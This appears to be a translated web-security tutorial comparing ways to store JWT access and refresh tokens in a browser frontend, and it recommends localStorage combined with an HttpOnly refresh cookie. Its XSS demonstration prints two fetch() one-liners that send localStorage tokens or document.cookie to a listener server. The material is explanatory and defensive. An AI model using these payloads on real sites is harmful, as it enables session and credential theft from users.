It is quite common to find projects in which we have an API on the one hand and a separate frontend on the other. But where do JWT tokens come into all this? Normally the communication between these two elements is done over HTTP, using REST or similar. And while there may be public endpoints, many of them require an authenticated user to access them.
The most common way in these cases is to authenticate by sending a tokens between the client and the server. A fairly common system is the well-known JWT: JSON Web Tokens. We will not go into this topic in depth, but if you want more information about what they are and how they are used, you can read this post.
Let's see an example of the workflow with JWT.
Usual workflow using JWT tokens
1. Obtaining tokens
The first step is to obtain the tokens, for this we will make a request to the authorization endpoint with our username and password (always under HTTPS).
Request requesting tokens:
POST /api/auth HTTP/1.1
Content-Type: application/json
{
"email": "user@example.com",
"password": "pa55w0rd"
}Response including tokens:
201 Created
Set-Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZVV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVVd5VVVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA; HttpOnly; Secure; SameSite=None; Path=/; Max-Age=2592000
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
}2. Include access_token in private requests
From this point on, all requests to a private endpoint must include the access_token in the header Authorization, in this way:
GET /api/users/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json3. Renew the access_token when it expires
As a general rule, the life of a access_token is relatively short (a few minutes), so it is necessary to renew or refresh it each time it expires.
For this purpose, we include in the request the access_token expired in the header and the refresh_token, we found that the access_token has expired and that the refresh_token is valid and we issue a new access_token:
POST /api/auth/refresh HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json
{
"refresh_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZZV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVVd5VVVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA."
}⚠️ Important: Whenever we generate a new
access_token, therefresh_tokenshould also be renewed to promote rotation, as recommended in the RFC9700.
Secure storage of tokens on the frontend
As we have seen in the previous workflow, from the first step we will have to store somehow in our frontend the tokens obtained, since we need them to keep the session active and make requests to private endpoints.
What options do we have?
Option 1: Session Storage
SessionStorage is a browser storage API that allows key-value data to be stored temporarily, i.e., the data persists only as long as the browser tab or window is open. Once the user closes the tab, all the information stored in the tab is deleted. SessionStorage is automatically deleted.
✅ Increased security against XSS: In contrast to LocalStorage, If the tokens do not persist after the tab is closed, reducing the exposure time in case of an XSS attack.
✅ Easy implementationEasily accessed with sessionStorage.setItem()y sessionStorage.getItem(), without the need for additional configurations.
❌ XSS VulnerabilityAlthough more secure than LocalStorage, the token is still accessible from JavaScript, which makes it susceptible to XSS attacks if the application is not properly protected.
❌ Does not work between tabs.If the user opens a new tab, he/she will have to authenticate again, which may affect the user experience.
Option 2: Local Storage
LocalStorage is a browser storage API that allows key-value data to be stored persistently, i.e. the data remains even if the user closes and reopens the browser.
✅ PersistenceData is maintained between sessions, allowing users to remain authenticated even after closing the browser.
✅ Available in all tabs: In contrast to SessionStorage, The token can be used in different browser tabs without the need to re-authenticate.
✅ Easy implementationEasily accessed with localStorage.setItem()y localStorage.getItem(), without the need for additional configurations.
❌ High vulnerability to XSS: Since LocalStorage is accessible from JavaScript, if an attacker injects malicious code into the application, he can extract the token and compromise the user's account.
Option 3: Cookies
Cookies are small data files that web servers store in the user's browser to maintain information between HTTP requests. They are widely used for authentication, session storage and user preferences.
Cookies, although simple, can be highly configurable depending on their purpose, let's look at some of their most common parameters:
Domain: Define which domains can access the cookie. If omitted, only the domain that set it can use it. If a top-level domain is set (.example.com), subdomains such asapp.example.com.will also be able to access.Path: Restrict the cookie to a specific path within the domain. Example: IfPath=/admin, the cookie will only be sent when the user accesses the/admin.HttpOnly: If enabled, the cookie is not accessible from JavaScript, which protects against XSS attacks. Only the server can read and modify it.ExpiresDefines an exact date on which the cookie will expire.Max-AgeDefines the time in seconds before the cookie expires.Secure: The cookie will only be sent in HTTPS connections. Prevents information from traveling unencrypted over HTTP, protecting against attacks from man in the middle (MITM).SameSite: Controls whether the cookie will be sent with requests from other websites. Helps prevent attacks CSRF (Cross-Site Request Forgery). Possible values:Strict: The cookie is only sent if the request comes from the same site.Lax(default in many browsers): Allows the cookie to be sent in GET requests, but blocks it from being sent in POST requests.None: The cookie will be sent in all applications, but it must be combined withSecure.
Advantages and disadvantages of using cookies:
✅ Increased safetyThey can be configured with attributes such as HttpOnly. (prevents access from JavaScript) and Secure. (only sent in HTTPS). But on the other hand, this cookie cannot be used to access the access_token in each request.
✅ Automatic operationBrowsers send them automatically with each request to the corresponding domain.
✅ Compatibility with. SameSite: Reduces the risk of CSRF attacks if configured correctly (SameSite=Stricto SameSite=Lax).
❌ Vulnerability to XSS attacks.: Yes HttpOnly is not enabled and an attacker injects malicious code.
❌ Size restrictions: Cookies have a storage limit (about 4 KB).
❌ Frontend control: Cannot be accessed directly with JavaScript if HttpOnly is enabled, which complicates certain authentication flows.
Option 4: Memory Storage
MemoryStorage is not a browser-specific API such as localStorage o sessionStorage but rather an approach in which data is stored in JavaScript variables during application execution.
- The data only exists while the page or tab is open.
- There is no persistence: if the user reloads the page or closes the browser, the information is lost.
- It is stored directly in RAM, which makes it faster than localStorage or sessionStorage.
✅ More secure against XSSBecause the data exists only in memory, it cannot be easily stolen by malicious scripts.
✅ Prevents persistent storage: Ideal for access_token, since it is only needed during the active session.
✅ Improved performance: Accessing variables in memory is faster than reading from browser storage.
❌ Not persistent: If the user reloads the page, the token is lost, so it must be used in conjunction with a refresh_token stored in cookies.
❌ Requires manual management: There is no native API, so state handling depends on the implementation in the application.
Demonstration of an XSS attack
We are going to see a series of examples in which, considering a scenario in which we have an XSS vulnerability in our website, a possible attacker accesses our tokens.
In the example, we have a parameter of querystring name which is used directly without filtering, so any JS code we pass it will be executed. For obvious reasons, the code snippet that we pass it must be encoded with URL Encoding so that it does not generate problems when executed.
1. Credentials theft in localStorage/sessionStorage
In this example we are going to see how a potential attacker, exploiting an XSS vulnerability, obtains our credentials stored in localStorage.
To do this, we will use the following oneliner in JS:
fetch("http://localhost:8888?access_token=" + localStorage.getItem('access_token') + "&refresh_token=" + localStorage.getItem('refresh_token'));
This is basically making a GET request to a server (locahost:8888 in the example, in real life it would be an external server), with our credentials obtained from localStorage.
On the other hand, we will have an HTTP server receiving that request, and we will be able to see on the querystring the stolen credentials.
2. Credential theft in cookies
In this example we will see how a possible attacker, exploiting an XSS vulnerability, obtains our credentials stored in our cookies.. For this case, cookies are not HttpOnly so they are accessible from JS.

To do this, we will use the following oneliner in JS:
fetch("http://localhost:8888?" + document.cookie);
Again, it's basically making a GET request to a server (locahost:8888 in the example, in real life it would be an external server), with our credentials obtained from cookies. This is possible because the cookies are not HttpOnly.
As before, we will have an HTTP server receiving that request, and we will be able to see in the querystring the stolen credentials.
On the other hand, if we force the cookies to be HttpOnly, we will see that they are not sent to the attacking server (only those that are sent to the attacking server are sent). no are HttpOnly):
The safest option: hybrid solution
So what is the safest option? As we have seen before, all options have their pros and cons, but no one said we have to stick to one storage method ;).
Let's recap a bit. We have two tokens to store:
access_token
This is the token that we will need to pass to the API to authenticate our calls, so it needs to be accessible from JS. That allows us to use any of the 4 storage types we have seen, but:
- If we use sessionStorage o memoryStorage We are going to have an uncomfortable navigation, since when we close the tab or open a new one to see another section, we will be forced to authenticate again.
- If we use cookies, these cannot be
HttpOnly, because we would not be able to access the token to put it in the header.Authorization.
On the other hand, cookies are sent in the following ways all requests, including those that do not require authentication, which exposes the token even more. This in turn exposes us to CSRF (Cross-Site Request Forgery) attacks.
vA lax configuration of theSameSitewould expose our tokens, and too restrictive a configuration would make it difficult to access APIs in different domains.
Despite all this, they are a valid option, but cookies do not have an API as simple as that of sessionStorage or localStorage, so... - If we use localStorage we have a simple API to access the
access_tokenand we can browse without losing the session. We still have the XSS problem, but we can mitigate its impact by defining a lifetime of a few minutes for our token.
It is not a perfect solution, but it is a good enough solution, because the really dangerous token is therefresh_token, which has a much longer life and allows us to obtain as much asaccess_tokenwe want as long as it is active.
refresh_token
This token is the one that could be considered the most dangerous. As mentioned above, the refresh_token has a much longer lifetime, usually in the order of days, and this means that we have to protect it more carefully, since someone with that token could obtain as many as a few days. access_token and cause a great deal of damage.
This token is not going to be used other than to renew the session, so we only need to send it when that is the case. On the other hand, we do not need to handle it to include it in a header, as there is no specific header for it (as in the case of the Authorization from access_token).
Given these characteristics, storing it in a cookie with HttpOnly, Secure, y SameSite=None (o SameSite=Strict if the API is in the same domain), it protects us from most dangers.
In a nutshell
Store the access_token at localStorage and the refresh_token in a secure cookie is the best combination to keep our tokens safe.
Secure workflow using JWT
1. Obtaining tokens
The first step is to obtain the tokens, for this we will make a request to the authorization endpoint with our username and password. The difference with respect to the previous flow is that this time, the refresh_token will come in a cookie HttpOnly, Secure, and allowing sending cross-domain (this is optional if the API and the front end are on the same domain):
Request requesting tokens:
POST /api/auth HTTP/1.1
Content-Type: application/json
{
"email": "user@example.com",
"password": "pa55w0rd"
}Response including tokens:
201 Created
Set-Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZVV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVVd5VVVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA; HttpOnly; Secure; SameSite=None; Path=/; Max-Age=2592000
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
}
2. Include the access_token in private requests
Nothing changes here, all requests we make to a private endpoint must include the access_token in the header Authorization, in this way:
GET /api/users/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Content-Type: application/json3. Renew the access_token when it expires
When it is time to renew the access_token, As before, we will make a new request to renew it, but with a small change: the refresh_token will go in the cookie:
POST /api/auth/refresh HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Cookie: refresh_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlAyU0FjMk91NGw5ZDVHbHBZVV3lVWlJZdE5ITTYiLCJ0eXAiOiJKV1QifQ.eyJhbXIiOlsic21zIl0sImRybiI6IkRTUiIsImV4cCI6MTcwMjA2MTE3NiwiaWF0IjoxNjk5NjQxOTc2LCJpc3MiOiJQMlNBYzJPdTRsOWQ1R2xwWVVd5VVVpSWXROSE02Iiwic3ViIjoiVTJWaXNjT0paM0xrQ1RxNHZtd3FQYklIUm1DeSJ9.cCyklhGh9ACvYvkpy94a4dncodr0ApWma-UNbWoeS-7VuZyf1s1d5Zyjn_nDWaLBko3LouRue9Q-J1sM6MiznJSup1cgJ9ygXUAOckCbM-iT8eQCEucrc33JeCrVurcluX6g3e9VYdgxPw8iEoRbZMCgPOIEzbQheFwcyRxHcl-OkQw2A88hwQHElwIl-5RK4tG5aS94r-k10tPKIR02G0TmUWEirqGD0GqM28o_Shl2VnUwDW5nSEKSgxA7zHmqHLg2WKUOGPkbyg120gFF0KxCh-NgR-kE0yIgveyIgveyPGjpXIneFGKf5zOXVnDDc8hwKxW9nQGV4GlgQmmSn1DLTRA
Conclusion
There is no perfect solution for storing JWT tokens on the frontend, as each approach has its own advantages and risks. However, after analyzing the different options, the most balanced approach in terms of security and usability es:
- Store the
access_tokenin localStorage to allow access from the frontend and facilitate its use in API calls. - Store the
refresh_tokenin a cookieHttpOnlyySecureto protect it against XSS attacks and prevent it from being stolen from the browser.
This solution combines the best of both worlds: XSS security (thanks to cookies HttpOnly) and ease of use for quick authentication with localStorage. In addition, it mitigates CSRF risks with the proper configuration of SameSite.
In short, there is no single correct answer, This strategy offers a good balance between security and functionality for most modern web applications.

